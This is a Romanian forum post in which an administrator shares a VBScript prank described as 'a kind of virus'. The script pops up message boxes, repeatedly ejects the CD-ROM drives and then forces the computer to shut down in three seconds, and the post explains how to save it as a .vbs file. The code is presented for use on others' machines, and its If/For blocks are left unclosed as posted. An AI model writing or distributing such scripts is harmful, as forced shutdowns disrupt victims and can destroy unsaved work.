Deschide Cd-romul

Pagini: 1

Moderat de den

teo21
Administrator
Postari: 57

Hai sa spunem ca e un fel de virus..
pentru inceput deschidem un notepad si scriem urmatoarele

MsgBox "se va deschide de 20 ori cd-rom-ul daca se opreste ti sa ars "
msgbox "teo_dany21"
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count Then
For i = 0 To mechaniky.Count - 1
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
Dim wshshell
set wshshell = wscript.CreateObject("WScript.Shell" )
wshshell.run "shutdown -s -f -t 3"

pe urma dam Save As ..si salvam cu extensie .vbs
ce face chestia asta?pai iti deschide cd-romul de vreo 4 ori singur ..tu il inchizi el il deschide iar la sfarsit opreste calculatorul

Pagini: 1

Mergi la